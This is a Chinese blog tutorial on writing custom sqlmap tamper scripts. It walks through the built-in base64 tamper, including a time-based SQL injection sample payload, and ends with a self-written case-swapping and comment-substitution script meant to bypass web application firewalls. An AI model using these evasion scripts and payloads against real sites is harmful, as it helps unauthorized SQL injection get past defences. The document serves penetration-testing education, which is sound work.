sqlmap自定义tamper

Sqlmap 是一种开源渗透测试工具,可自动执行检测和利用 Web 应用程序中的 SQL 注入漏洞的过程。它是用 Python 编写的,支持各种数据库管理系统,例如 MySQL、Oracle、PostgreSQL 和 Microsoft SQL Server。

Sqlmap 允许测试人员执行广泛的测试,包括提取数据库数据、枚举数据库架构、对数据库管理系统进行指纹识别,甚至接管底层操作系统。

在篡改方面,sqlmap 提供了各种篡改脚本(tamper),可用于绕过 Web 应用程序防火墙 (WAF) 并规避某些安全措施。这些篡改脚本以绕过 WAF 过滤器、编码技术或其他安全机制的方式修改 sqlmap 发送到目标网站的有效负载。

1.tamper的用法 

sqlmap -u [url] --tamper [模块名]

 2.tamper存放的路径

/sqlmap/tamper

3.自定义tamper脚本 

3.1首先观察tamper内置的脚本

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """

    return encodeBase64(payload, binary=False) if payload else payload

这是自带的base64编码的tamper,目的是将payload的传入参数进行base64编码

可以发现就是一段普通的python脚本,但具有一定格式 

3.2结构分析

开头自然是文档声明和调用包,这就是python脚本的正常编写方式

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

其次有个PRIORITY是定义tamper的优先级,PRIORITY有以下几个参数:

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100
    __priority__ = PRIORITY.LOW

    这个base64encode脚本的优先级就设定为了low

再次是def 一个dependencies,这个函数是为了提示用户这个脚本支持什么类型的数据库

这个是hex2char中的dependencies内容

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

提示只支持mysql数据库

而base64encode就是

def dependencies():
    pass

直接跳过,不具有任何数据库限制

最后tamper函数就是这个base64encode tamper的主要内容,对输入的payload进行base64编码

def tamper(payload, **kwargs):
    """
    Base64-encodes all characters in a given payload

    >>> tamper("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
    """

    return encodeBase64(payload, binary=False) if payload else payload

4.自己编写一个大小写绕过的tamper

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

__priority__ = PRIORITY.HIGHEST #高优先级

def dependencies():
    pass #不用特殊支持一种数据库

def tamper(payload, **kwargs):
    #运用python的replace替换换函数进行字符替换
    payload = payload.replace("SELECT","sElEcT")
    payload = payload.replace("OR","Or")
    payload = payload.replace("AND", "AnD")
    payload = payload.replace("UNION", "UnIoN")
    payload = payload.replace("SLEEP", "sLeeP")
    payload = payload.replace("FROM", "FrOm")
    payload = payload.replace(" ", "/**/")
    return payload

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值